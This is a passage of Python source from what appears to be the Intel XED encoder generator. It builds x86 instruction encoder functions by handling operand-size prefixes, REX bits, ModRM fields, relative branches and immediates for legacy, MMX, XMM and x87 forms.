env.mem_bits(op.oc2, osz) if bits == '0': die("OC2FAIL: {}: oc2 {} osz {} -> {}".format(ii.iclass, op.oc2, osz, bits)) s.append('m{}'.format(bits)) # add the index reg width for sparse ops (scatter,gather) if ii.avx_vsib: s.append(ii.avx_vsib[0]) if ii.avx512_vsib: s.append(ii.avx512_vsib[0]) elif op_imm8(op): s.append('i8') elif op_immz(op): if using_width: s.append('i' + _translate_width_z(using_width)) else: s.append('i') elif op_immv(op): if using_width: s.append('i' + _translate_width(using_width)) else: s.append('i') elif op_imm16(op): s.append('i16') elif op_imm8_2(op): s.append('i') #FIXME something else? elif op_x87(op): s.append('sti') # FIXME: or 'x87'? elif op_mmx(op): s.append('mm') # FIXME: or "mmx"? "mm" is shorter. elif op_cr(op): s.append('cr') elif op_dr(op): s.append('dr') elif op_seg(op): s.append('seg') elif op.name in ['REG0','REG1'] and op_luf(op,'OrAX'): if using_width: s.append( _translate_rax_name(using_width) ) else: s.append('r') # FIXME something else? else: die("Unhandled operand {}".format(op)) if ii.space in ['evex']: if ii.rounding_form: s.append( 'rc' ) elif ii.sae_form: s.append( 'sae' ) if ii.space in ['evex','vex']: if 'KMASK' not in ii.attributes: vl = vl2func_names[ii.vl] if vl: s.append(vl) return "_".join(s) def create_legacy_one_scalable_gpr(env,ii,osz_values,oc2): global enc_fn_prefix, arg_request, arg_reg0, var_reg0, gprv_names for osz in osz_values: if env.mode != 64 and osz == 64: continue special_xchg = False if ii.partial_opcode: if ii.rm_required != 'unspecified': if ii.iclass == 'XCHG': if env.mode != 64: continue # This is a strange XCHG that takes r8w, r8d or r8 # depending on the EOSZ. REX.B is required & 64b mode obviously. # And no register specifier is required. special_xchg = True opsig = make_opnd_signature(env, ii, osz, special_xchg=special_xchg) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_one_scalable_gpr") if special_xchg: fo.add_comment("special xchg using R8W/R8D/R8") fo.add_arg(arg_request,'req') if not special_xchg: fo.add_arg(arg_reg0, gprv_names[osz]) emit_required_legacy_prefixes(ii,fo) rex_forced = False if special_xchg: fo.add_code_eol('set_rexb(r,1)') rex_forced = True if env.mode == 64 and osz == 16: if ii.eosz == 'osznot16': warn("SKIPPING 16b version for: {} / {}".format(ii.iclass, ii.iform)) continue # skip 16b version for this instruction fo.add_code_eol('emit(r,0x66)') elif env.mode == 64 and osz == 32 and ii.default_64b == True: continue # not encodable elif env.mode == 64 and osz == 64 and ii.default_64b == False: if ii.eosz == 'osznot64': warn("SKIPPING 64b version for: {} / {}".format(ii.iclass, ii.iform)) continue # skip 64b version for this instruction fo.add_code_eol('set_rexw(r)') rex_forced = True elif env.mode == 32 and osz == 16: if ii.eosz == 'osznot16': warn("SKIPPING 16b version for: {} / {}".format(ii.iclass, ii.iform)) continue # skip 16b version for this instruction fo.add_code_eol('emit(r,0x66)') elif env.mode == 16 and osz == 32: fo.add_code_eol('emit(r,0x66)') if modrm_reg_first_operand(ii): f1, f2 = 'reg','rm' else: f1, f2 = 'rm','reg' # if f1 is rm then we handle partial opcodes farther down if f1 == 'reg' or not ii.partial_opcode: fo.add_code_eol('enc_modrm_{}_gpr{}(r,{})'.format(f1, osz, var_reg0)) if f2 == 'reg': if ii.reg_required != 'unspecified': fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) else: if ii.rm_required != 'unspecified': fo.add_code_eol('set_rm(r,{})'.format(ii.rm_required)) if ii.partial_opcode: if ii.rm_required == 'unspecified': op = first_opnd(ii) if op_luf(op,'GPRv_SB'): fo.add_code_eol('enc_srm_gpr{}(r,{})'.format(osz, var_reg0)) else: warn("NOT HANDLING SOME PARTIAL OPCODES YET: {} / {} / {}".format(ii.iclass, ii.iform, op)) ii.encoder_skipped = True return else: # we have some XCHG opcodes encoded as partial register # instructions but have fixed RM fields. fo.add_code_eol('set_srm(r,{})'.format(ii.rm_required)) #dump_fields(ii) #die("SHOULD NOT HAVE A VALUE FOR PARTIAL OPCODES HERE {} / {}".format(ii.iclass, ii.iform)) emit_rex(env, fo, rex_forced) emit_required_legacy_map_escapes(ii,fo) if ii.partial_opcode: emit_partial_opcode_variable_srm(ii,fo) else: emit_opcode(ii,fo) emit_modrm(fo) add_enc_func(ii,fo) def add_enc_func(ii,fo): # hack to cover AMD 3DNOW wherever they are created... if ii.amd_3dnow_opcode: fo.add_code_eol('emit_u8(r,{})'.format(ii.amd_3dnow_opcode), 'amd 3dnow opcode') dbg(fo.emit()) ii.encoder_functions.append(fo) def create_legacy_one_imm_scalable(env,ii, osz_values): '''just an imm-z (or IMM-v)''' global enc_fn_prefix, arg_request for osz in osz_values: opsig = make_opnd_signature(env,ii,osz) fname = "{}_m{}_{}_{}".format(enc_fn_prefix, env.mode, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_one_imm_scalable") fo.add_arg(arg_request,'req') add_arg_immv(fo,osz) if ii.has_modrm: die("NOT REACHED") if env.mode != 16 and osz == 16: fo.add_code_eol('emit(r,0x66)') elif env.mode == 16 and osz == 32: fo.add_code_eol('emit(r,0x66)') if not ii.default_64b: die("Only DF64 here for now") emit_required_legacy_prefixes(ii,fo) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_immv(fo,osz) add_enc_func(ii,fo) def create_legacy_one_gpr_fixed(env,ii,width_bits): global enc_fn_prefix, arg_request, gprv_names opsig = make_opnd_signature(env,ii,width_bits) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_one_gpr_fixed") fo.add_arg(arg_request,'req') fo.add_arg(arg_reg0, gprv_names[width_bits]) if width_bits not in [8,16,32,64]: die("SHOULD NOT REACH HERE") fo.add_code_eol('set_mod(r,{})'.format(3)) if modrm_reg_first_operand(ii): f1,f2 = 'reg', 'rm' else: f1,f2 = 'rm', 'reg' fo.add_code_eol('enc_modrm_{}_gpr{}(r,{})'.format(f1,width_bits, var_reg0)) if f2 == 'reg': if ii.reg_required != 'unspecified': fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) else: if ii.rm_required != 'unspecified': fo.add_code_eol('set_rm(r,{})'.format(ii.rm_required)) if env.mode == 64 and width_bits == 64 and ii.default_64b == False: fo.add_code_eol('set_rexw(r)') emit_required_legacy_prefixes(ii,fo) if env.mode == 64: fo.add_code_eol('emit_rex_if_needed(r)') emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_modrm(fo) add_enc_func(ii,fo) def create_legacy_relbr(env,ii): global enc_fn_prefix, arg_request op = first_opnd(ii) if op.oc2 == 'b': osz_values = [8] elif op.oc2 == 'd': osz_values = [32] elif op.oc2 == 'z': osz_values = [16,32] else: die("Unhandled relbr width for {}: {}".format(ii.iclass, op.oc2)) for osz in osz_values: fname = "{}_{}_o{}".format(enc_fn_prefix, ii.iclass.lower(), osz) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_relbr") fo.add_arg(arg_request,'req') add_arg_disp(fo,osz) #if ii.iclass in ['JCXZ','JECXZ','JRCXZ']: if ii.easz != 'aszall': if env.mode == 64 and ii.easz == 'a32': emit_67_prefix(fo) elif env.mode == 32 and ii.easz == 'a16': emit_67_prefix(fo) elif env.mode == 16 and ii.easz == 'a32': emit_67_prefix(fo) if op.oc2 == 'z': if env.mode in [32,64] and osz == 16: fo.add_code_eol('emit(r,0x66)') elif env.mode == 16 and osz == 32: fo.add_code_eol('emit(r,0x66)') modrm_required = create_modrm_byte(ii,fo) emit_required_legacy_prefixes(ii,fo) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) if modrm_required: emit_modrm(fo) if osz == 8: fo.add_code_eol('emit_i8(r,{})'.format(var_disp8)) elif osz == 16: fo.add_code_eol('emit_i16(r,{})'.format(var_disp16)) elif osz == 32: fo.add_code_eol('emit_i32(r,{})'.format(var_disp32)) add_enc_func(ii,fo) def create_legacy_one_imm_fixed(env,ii): global enc_fn_prefix, arg_request fname = "{}_{}".format(enc_fn_prefix, ii.iclass.lower()) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_one_imm_fixed") op = first_opnd(ii) fo.add_arg(arg_request,'req') if op.oc2 == 'b': fo.add_arg(arg_imm8,'int8') elif op.oc2 == 'w': fo.add_arg(arg_imm16,'int16') else: die("not handling imm width {}".format(op.oc2)) modrm_required = create_modrm_byte(ii,fo) emit_required_legacy_prefixes(ii,fo) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) if modrm_required: emit_modrm(fo) if op.oc2 == 'b': fo.add_code_eol('emit(r,{})'.format(var_imm8)) elif op.oc2 == 'w': fo.add_code_eol('emit_i16(r,{})'.format(var_imm16)) add_enc_func(ii,fo) def create_legacy_one_implicit_reg(env,ii,imm8=False): global enc_fn_prefix, arg_request, arg_imm8, var_imm8 opsig = make_opnd_signature(env,ii) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_one_implicit_reg") fo.add_arg(arg_request,'req') if imm8: fo.add_arg(arg_imm8,'int8') modrm_required = create_modrm_byte(ii,fo) emit_required_legacy_prefixes(ii,fo) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) if modrm_required: emit_modrm(fo) if imm8: fo.add_code_eol('emit(r,{})'.format(var_imm8)) add_enc_func(ii,fo) def create_legacy_one_nonmem_opnd(env,ii): # GPRv, GPR8, GPR16, RELBR(b,z), implicit fixed reg, GPRv_SB, IMM0(w,b) op = first_opnd(ii) if op.name == 'RELBR': create_legacy_relbr(env,ii) elif op.name == 'IMM0': if op.oc2 in ['b','w','d','q']: create_legacy_one_imm_fixed(env,ii) elif op.oc2 == 'z': create_legacy_one_imm_scalable(env,ii,[16,32]) else: warn("Need to handle {} in {}".format( op, "create_legacy_one_nonmem_opnd")) elif op.lookupfn_name: if op.lookupfn_name.startswith('GPRv'): create_legacy_one_scalable_gpr(env,ii,[16,32,64],'v') elif op.lookupfn_name.startswith('GPRy'): create_legacy_one_scalable_gpr(env,ii,[32,64],'y') elif op.lookupfn_name.startswith('GPR8'): create_legacy_one_gpr_fixed(env,ii,8) elif op.lookupfn_name.startswith('GPR16'): create_legacy_one_gpr_fixed(env,ii,16) elif op.lookupfn_name.startswith('GPR32'): create_legacy_one_gpr_fixed(env,ii,32) elif op.lookupfn_name.startswith('GPR64'): create_legacy_one_gpr_fixed(env,ii,64) elif op_implicit(op) and op.name.startswith('REG'): create_legacy_one_implicit_reg(env,ii,imm8=False) else: warn("Need to handle {} in {}".format( op, "create_legacy_one_nonmem_opnd")) def scalable_implicit_operands(ii): for op in _gen_opnds(ii): if op_luf(op,'OeAX'): return True return False def create_legacy_zero_operands_scalable(env,ii): # FIXME 2020-06-06: IN and OUT are the only two instr with OeAX() # operands. I should write more general code for realizing that # only 16/32 are accessible. if ii.iclass in ['IN','OUT']: osz_list = [16,32] for osz in osz_list: opsig = make_opnd_signature(env,ii,osz) if opsig: opsig += '_' fname = "{}_{}_{}o{}".format(enc_fn_prefix, ii.iclass.lower(), opsig, osz) # FIXME:osz fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_zero_operands_scalable") fo.add_arg(arg_request,'req') modrm_required = create_modrm_byte(ii,fo) if env.mode in [32,64] and osz == 16: fo.add_code_eol('emit(r,0x66)') if env.mode == 16 and osz == 32: fo.add_code_eol('emit(r,0x66)') emit_required_legacy_prefixes(ii,fo) emit_required_legacy_map_escapes(ii,fo) if ii.partial_opcode: die("NOT HANDLING PARTIAL OPCODES YET in create_legacy_zero_operands_scalable") emit_opcode(ii,fo) if modrm_required: emit_modrm(fo) add_enc_func(ii,fo) def create_legacy_zero_operands(env,ii): # allows all implicit too global enc_fn_prefix, arg_request if env.mode == 64 and ii.easz == 'a16': # cannot do 16b addressing in 64b mode...so skip these! ii.encoder_skipped = True return if scalable_implicit_operands(ii): create_legacy_zero_operands_scalable(env,ii) return opsig = make_opnd_signature(env,ii) if opsig: opsig = '_' + opsig fname = "{}_{}{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) if ii.easz in ['a16','a32','a64']: fname = fname + '_' + ii.easz if ii.eosz in ['o16','o32','o64']: fname = fname + '_' + ii.eosz fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_zero_operands") fo.add_arg(arg_request,'req') modrm_required = create_modrm_byte(ii,fo) # twiddle ASZ if specified if env.mode == 64 and ii.easz == 'a32': emit_67_prefix(fo) elif env.mode == 32 and ii.easz == 'a16': emit_67_prefix(fo) elif env.mode == 16 and ii.easz == 'a32': emit_67_prefix(fo) # twiddle OSZ rexw_forced=False if not ii.osz_required: if env.mode == 64 and ii.eosz == 'o16': fo.add_code_eol('emit(r,0x66)') elif env.mode == 64 and ii.eosz == 'o32' and ii.default_64b == True: return # skip this one. cannot do 32b osz in 64b mode if default to 64b elif env.mode == 64 and ii.eosz == 'o64' and ii.default_64b == False: rexw_forced = True fo.add_code_eol('set_rexw(r)') elif env.mode == 32 and ii.eosz == 'o16': fo.add_code_eol('emit(r,0x66)') elif env.mode == 16 and ii.eosz == 'o16': fo.add_code_eol('emit(r,0x66)') elif ii.eosz == 'oszall': # works in any OSZ. no prefixes required pass elif env.mode == 64 and ii.eosz == 'osznot64': return elif ii.eosz == 'osznot16': pass emit_required_legacy_prefixes(ii,fo) if rexw_forced: fo.add_code_eol('emit_rex(r)') emit_required_legacy_map_escapes(ii,fo) if ii.partial_opcode: if ii.rm_required != 'unspecified': emit_partial_opcode_fixed_srm(ii,fo) else: warn("NOT HANDLING SOME PARTIAL OPCODES YET: {} / {}".format(ii.iclass, ii.iform)) ii.encoder_skipped = True return else: emit_opcode(ii,fo) if modrm_required: emit_modrm(fo) add_enc_func(ii,fo) def two_fixed_gprs(ii): width = None n = 0 # count of the number of GPR32 or GPR64 stuff we encounter c = 0 # operand count, avoid stray stuff for op in _gen_opnds(ii): c += 1 for w in [16,32,64]: if op_luf_start(op,'GPR{}'.format(w)): if not width: width = w n += 1 elif width != w: return False else: n += 1 return width and n == 2 and c == 2 def get_gpr_opsz_code(op): if op_luf_start(op,'GPR8'): return 'rb' if op_luf_start(op,'GPR16'): return 'rw' if op_luf_start(op,'GPR32'): return 'rd' if op_luf_start(op,'GPR64'): return 'rq' if op_luf_start(op,'GPRv'): return 'rv' if op_luf_start(op,'GPRy'): return 'ry' else: die("Unhandled GPR width: {}".format(op)) def create_legacy_two_gpr_one_scalable_one_fixed(env,ii): global enc_fn_prefix, arg_request, arg_reg0, arg_reg1 opsz_to_bits = { 'rb':8, 'rw':16, 'rd':32, 'rq':64 } osz_list = get_osz_list(env) opnds = [] opsz_codes =[] for op in _gen_opnds(ii): opnds.append(op) opsz_codes.append( get_gpr_opsz_code(op) ) for osz in osz_list: opsig = make_opnd_signature(env,ii,osz) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) # "".join(opsz_codes), osz) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_two_gpr_one_scalable_one_fixed") fo.add_arg(arg_request,'req') opnd_types = get_opnd_types(env,ii,osz) fo.add_arg(arg_reg0, opnd_types[0]) fo.add_arg(arg_reg1, opnd_types[1]) emit_required_legacy_prefixes(ii,fo) if not ii.osz_required: if osz == 16 and env.mode != 16: # add a 66 prefix outside of 16b mode, to create 16b osz fo.add_code_eol('emit(r,0x66)') if osz == 32 and env.mode == 16: # add a 66 prefix outside inside 16b mode to create 32b osz fo.add_code_eol('emit(r,0x66)') rexw_forced = cond_emit_rexw(env,ii,fo,osz) if modrm_reg_first_operand(ii): f1, f2 = 'reg','rm' else: f1, f2 = 'rm','reg' if opsz_codes[0] in ['rv','ry']: op0_bits = osz else: op0_bits = opsz_to_bits[opsz_codes[0]] fo.add_code_eol('enc_modrm_{}_gpr{}(r,{})'.format(f1,osz,var_reg0)) if opsz_codes[1] in ['rv','ry']: op1_bits = osz else: op1_bits = opsz_to_bits[opsz_codes[1]] fo.add_code_eol('enc_modrm_{}_gpr{}(r,{})'.format(f2,op1_bits,var_reg1)) emit_rex(env,fo,rexw_forced) emit_required_legacy_map_escapes(ii,fo) if ii.partial_opcode: die("NOT HANDLING PARTIAL OPCODES YET: {} / {}".format(ii.iclass, ii.iform)) else: emit_opcode(ii,fo) emit_modrm(fo) add_enc_func(ii,fo) def create_legacy_two_fixed_gprs(env,ii): op = first_opnd(ii) if op_luf_start(op,'GPR16'): create_legacy_two_scalable_regs(env,ii,[16]) elif op_luf_start(op,'GPR32'): create_legacy_two_scalable_regs(env,ii,[32]) elif op_luf_start(op,'GPR64'): create_legacy_two_scalable_regs(env,ii,[64]) else: die("NOT REACHED") def create_legacy_two_scalable_regs(env, ii, osz_list): """Allows optional imm8,immz""" global enc_fn_prefix, arg_request, arg_reg0, arg_reg1 global arg_imm8, var_imm8 extra_names = _implicit_reg_names(ii) # for NOPs only (FIXME: not used!?) if modrm_reg_first_operand(ii): opnd_order = {0:'reg', 1:'rm'} else: opnd_order = {1:'reg', 0:'rm'} var_regs = [var_reg0, var_reg1] arg_regs = [arg_reg0, arg_reg1] # We have some funky NOPs that come through here, that have been # redefined for CET. They were two operand, but one operand is now # fixed via a MODRM.REG restriction and some become have MODRM.RM # restriction as well, and no real operands. For those funky NOPs, # we remove the corresponding operands. I *think* the REX.R and # REX.B bits don't matter. s = [] fixed = {'reg':False, 'rm':False} nop_opsig = None if ii.iclass == 'NOP' and ii.iform in [ 'NOP_MEMv_GPRv_0F1C', 'NOP_GPRv_GPRv_0F1E' ]: if ii.reg_required != 'unspecified': s.append('reg{}'.format(ii.reg_required)) fixed['reg']=True if ii.rm_required != 'unspecified': s.append('rm{}'.format(ii.rm_required)) fixed['rm']=True if s: nop_opsig = "".join(s) for osz in gen_osz_list(env.mode,osz_list): if nop_opsig: fname = "{}_{}{}_{}_o{}".format(enc_fn_prefix, ii.iclass.lower(), extra_names, nop_opsig,osz) else: opsig = make_opnd_signature(env,ii,osz) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_two_scalable_regs") fo.add_arg(arg_request,'req') opnd_types = get_opnd_types(env,ii,osz) for i in [0,1]: if not fixed[opnd_order[i]]: fo.add_arg(arg_regs[i], opnd_types[i]) if ii.has_imm8: fo.add_arg(arg_imm8,'int8') elif ii.has_immz: add_arg_immz(fo,osz) emit_required_legacy_prefixes(ii,fo) if not ii.osz_required: if osz == 16 and env.mode != 16: if ii.iclass not in ['ARPL']: # FIXME: make a generic property default16b or something... # add a 66 prefix outside of 16b mode, to create 16b osz fo.add_code_eol('emit(r,0x66)') if osz == 32 and env.mode == 16: # add a 66 prefix outside inside 16b mode to create 32b osz fo.add_code_eol('emit(r,0x66)') rexw_forced = cond_emit_rexw(env,ii,fo,osz) if ii.mod_required == 3: fo.add_code_eol('set_mod(r,3)') for i in [0,1]: if not fixed[opnd_order[i]]: fo.add_code_eol('enc_modrm_{}_gpr{}(r,{})'.format(opnd_order[i],osz,var_regs[i])) for slot in ['reg','rm']: if fixed[slot]: if slot == 'reg': fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) else: fo.add_code_eol('set_rm(r,{})'.format(ii.rm_required)) emit_rex(env,fo,rexw_forced) emit_required_legacy_map_escapes(ii,fo) if ii.partial_opcode: die("NOT HANDLING PARTIAL OPCODES YET: {} / {}".format(ii.iclass, ii.iform)) else: emit_opcode(ii,fo) emit_modrm(fo) cond_emit_imm8(ii,fo) if ii.has_immz: emit_immz(fo,osz) add_enc_func(ii,fo) def create_legacy_two_gpr8_regs(env, ii): global enc_fn_prefix, arg_request, arg_reg0, arg_reg1 opsig = make_opnd_signature(env,ii) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_two_gpr8_regs") fo.add_arg(arg_request,'req') fo.add_arg(arg_reg0,'gpr8') fo.add_arg(arg_reg1,'gpr8') emit_required_legacy_prefixes(ii,fo) if modrm_reg_first_operand(ii): f1, f2 = 'reg','rm' else: f1, f2 = 'rm','reg' fo.add_code_eol('enc_modrm_{}_gpr8(r,{})'.format(f1,var_reg0)) fo.add_code_eol('enc_modrm_{}_gpr8(r,{})'.format(f2,var_reg1)) if env.mode == 64: fo.add_code_eol('emit_rex_if_needed(r)') emit_required_legacy_map_escapes(ii,fo) if ii.partial_opcode: die("NOT HANDLING PARTIAL OPCODES YET: {} / {}".format(ii.iclass, ii.iform)) else: emit_opcode(ii,fo) emit_modrm(fo) add_enc_func(ii,fo) def add_arg_disp(fo,dispsz): global arg_dispv, arg_dispv_meta fo.add_arg(arg_dispv[dispsz], arg_dispv_meta[dispsz]) def add_arg_immz(fo,osz): global arg_immz_dct, arg_immz_meta fo.add_arg(arg_immz_dct[osz], arg_immz_meta[osz]) def add_arg_immv(fo,osz): global arg_immv_dct, arg_immv_meta fo.add_arg(arg_immv_dct[osz], arg_immv_meta[osz]) vlmap = { 'xmm': 0, 'ymm': 1, 'zmm': 2 } def set_evexll_vl(ii,fo,vl): global vlmap if not ii.rounding_form and not ii.sae_form: fo.add_code_eol('set_evexll(r,{})'.format(vlmap[vl]), 'VL={}'.format(ii.vl)) def emit_immz(fo,osz): global var_immz_dct emit_width_immz = { 16:16, 32:32, 64:32 } fo.add_code_eol('emit_i{}(r,{})'.format(emit_width_immz[osz], var_immz_dct[osz])) def emit_immv(fo,osz): global var_immv_dct emit_width_immv = {8:8, 16:16, 32:32, 64:64 } fo.add_code_eol('emit_u{}(r,{})'.format(emit_width_immv[osz], var_immv_dct[osz])) def emit_disp(fo,dispsz): global var_dispv fo.add_code_eol('emit_i{}(r,{})'.format(dispsz, var_dispv[dispsz])) def cond_emit_imm8(ii,fo): global var_imm8, var_imm8_2 if ii.has_imm8: fo.add_code_eol('emit(r,{})'.format(var_imm8)) if ii.has_imm8_2: fo.add_code_eol('emit(r,{})'.format(var_imm8_2)) def cond_add_imm_args(ii,fo): global arg_imm8, arg_imm8_2 if ii.has_imm8: fo.add_arg(arg_imm8,'int8') if ii.has_imm8_2: fo.add_arg(arg_imm8_2,'int8') def emit_rex(env, fo, rex_forced): if env.mode == 64: if rex_forced: fo.add_code_eol('emit_rex(r)') else: fo.add_code_eol('emit_rex_if_needed(r)') def get_opnd_types_short(ii): types= [] for op in _gen_opnds(ii): if op.oc2: types.append(op.oc2) elif op_luf_start(op,'GPRv'): types.append('v') elif op_luf_start(op,'GPRz'): types.append('z') elif op_luf_start(op,'GPRy'): types.append('y') else: die("Unhandled op type {}".format(op)) return types def get_reg_type_fixed(op): '''return a type suitable for use in an enc_modrm function''' if op_gpr32(op): return 'gpr32' elif op_gpr64(op): return 'gpr64' elif op_xmm(op): return 'xmm' elif op_ymm(op): return 'ymm' elif op_mmx(op): return 'mmx' die("UNHANDLED OPERAND TYPE {}".format(op)) orax = { 16:'ax', 32:'eax', 64:'rax' } oeax = { 16:'ax', 32:'eax', 64:'eax' } def get_opnd_types(env, ii, osz=0): """Create meta-data about operands that can be used for generating testing content.""" global orax, oeax s = [] for op in _gen_opnds(ii): if op_luf_start(op,'GPRv'): if osz == 0: die("Need OSZ != 0") s.append('gpr{}'.format(osz)) elif op_luf_start(op,'GPRy'): if osz == 0: die("Need OSZ != 0") s.append('gpr{}'.format(osz if osz > 16 else 32)) elif op_luf_start(op,'GPRz'): if osz == 0: die("Need OSZ != 0") s.append('gpr{}'.format(osz if osz < 64 else 32)) elif op_luf_start(op,'OrAX'): if osz == 0: die("Need OSZ != 0") s.append(orax[osz]) elif op_luf_start(op,'OrAX'): if osz == 0: die("Need OSZ != 0") s.append(oeax[osz]) elif op_luf_start(op,'ArAX'): s.append(orax[env.asz]) elif op_immz(op): if osz == 0: die("Need OSZ != 0") s.append('imm{}'.format(osz if osz < 64 else 32)) elif op_immv(op): if osz == 0: die("Need OSZ != 0") s.append('imm{}'.format(osz)) elif op_luf_start(op, 'A_GPR'): s.append('gpr{}'.format(env.asz)) elif op_implicit_specific_reg(op): pass # ignore elif op_tmm(op): s.append('tmm') elif op_xmm(op): s.append('xmm') elif op_ymm(op): s.append('ymm') elif op_zmm(op): s.append('zmm') elif op_vgpr32(op): s.append('gpr32') elif op_vgpr64(op): s.append('gpr64') elif op_gpr32(op): s.append('gpr32') elif op_gpr64(op): s.append('gpr64') elif op_gpr8(op): s.append('gpr8') elif op_gpr16(op): s.append('gpr16') elif op_mem(op): s.append('mem') elif op_agen(op): # LEA s.append('agen') elif op_imm8(op): s.append('int8') elif op_imm16(op): s.append('int16') elif op_imm8_2(op): s.append('int8') elif op_mmx(op): s.append('mmx') elif op_cr(op): s.append('cr') elif op_dr(op): s.append('dr') elif op_seg(op): s.append('seg') elif op_masknot0(op): # must be before generic mask test below s.append('kreg!0') elif op_mask_reg(op): s.append('kreg') else: die("Unhandled operand {}".format(op)) return s def two_fixed_regs_opti8(ii): # also allows 2-imm8 SSE4 instr j,i,d,q,m,x=0,0,0,0,0,0 for op in _gen_opnds(ii): if op_imm8(op): i += 1 elif op_imm8_2(op): j += 1 elif op_gpr32(op): d += 1 elif op_gpr64(op): q += 1 elif op_mmx(op): m += 1 elif op_xmm(op): x += 1 else: return False if i>=2 or j>=2: return False sum = d + q + m + x return sum == 2 # 1+1 or 2+0...either is fine def create_legacy_two_fixed_regs_opti8(env,ii): '''Two regs and optional imm8. Regs can be gpr32,gpr64,xmm,mmx, and they can be different from one another''' global enc_fn_prefix, arg_request global arg_reg0, var_reg0 global arg_reg1, var_reg1 opnd_sig = make_opnd_signature(env,ii) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opnd_sig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_two_fixed_regs_opti8") fo.add_arg(arg_request,'req') opnd_types = get_opnd_types(env,ii) fo.add_arg(arg_reg0, opnd_types[0]) fo.add_arg(arg_reg1, opnd_types[1]) cond_add_imm_args(ii,fo) emit_required_legacy_prefixes(ii,fo) if modrm_reg_first_operand(ii): locations = ['reg', 'rm'] else: locations = ['rm', 'reg'] regs = [ var_reg0, var_reg1] rexw_forced = cond_emit_rexw(env,ii,fo,osz=0) # legit fo.add_code_eol('set_mod(r,3)') for i,op in enumerate(_gen_opnds(ii)): if op_imm8(op): break reg_type = get_reg_type_fixed(op) fo.add_code_eol('enc_modrm_{}_{}(r,{})'.format(locations[i], reg_type, regs[i])) emit_rex(env,fo,rexw_forced) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_modrm(fo) cond_emit_imm8(ii,fo) add_enc_func(ii,fo) def create_legacy_one_mmx_reg_imm8(env,ii): global enc_fn_prefix, arg_request global arg_reg0, var_reg0 global arg_imm8, var_imm8 opsig = make_opnd_signature(env,ii) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_one_mmx_reg_imm8") fo.add_arg(arg_request,'req') fo.add_arg(arg_reg0, 'mmx') cond_add_imm_args(ii,fo) emit_required_legacy_prefixes(ii,fo) if modrm_reg_first_operand(ii): f1, f2 = 'reg','rm' else: f1, f2 = 'rm','reg' fo.add_code_eol('enc_modrm_{}_mmx(r,{})'.format(f1,var_reg0)) fo.add_code_eol('set_mod(r,3)') if f2 == 'reg': if ii.reg_required != 'unspecified': fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) else: if ii.rm_required != 'unspecified': fo.add_code_eol('set_rm(r,{})'.format(ii.rm_required)) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_modrm(fo) cond_emit_imm8(ii,fo) add_enc_func(ii,fo) def create_legacy_one_xmm_reg_imm8(env,ii): '''also handles 2 imm8 SSE4 instr''' global enc_fn_prefix, arg_request global arg_reg0, var_reg0 global arg_imm8, var_imm8 opsig = make_opnd_signature(env,ii) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_one_xmm_reg_imm8") fo.add_arg(arg_request,'req') fo.add_arg(arg_reg0,'xmm') cond_add_imm_args(ii,fo) emit_required_legacy_prefixes(ii,fo) if modrm_reg_first_operand(ii): f1, f2 = 'reg','rm' else: f1, f2 = 'rm','reg' fo.add_code_eol('enc_modrm_{}_xmm(r,{})'.format(f1,var_reg0)) fo.add_code_eol('set_mod(r,3)') if f2 == 'reg': if ii.reg_required != 'unspecified': fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) else: if ii.rm_required != 'unspecified': fo.add_code_eol('set_rm(r,{})'.format(ii.rm_required)) if env.mode == 64: fo.add_code_eol('emit_rex_if_needed(r)') emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_modrm(fo) cond_emit_imm8(ii,fo) add_enc_func(ii,fo) def create_legacy_two_x87_reg(env,ii): global enc_fn_prefix, arg_request, arg_reg0, var_reg0 opsig = make_opnd_signature(env,ii) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_two_x87_reg") fo.add_arg(arg_request,'req') fo.add_arg(arg_reg0,'x87') emit_required_legacy_prefixes(ii,fo) fo.add_code_eol('set_mod(r,3)') if ii.reg_required == 'unspecified': die("Need a value for MODRM.REG in x87 encoding") fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) fo.add_code_eol('enc_modrm_rm_x87(r,{})'.format(var_reg0)) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_modrm(fo) 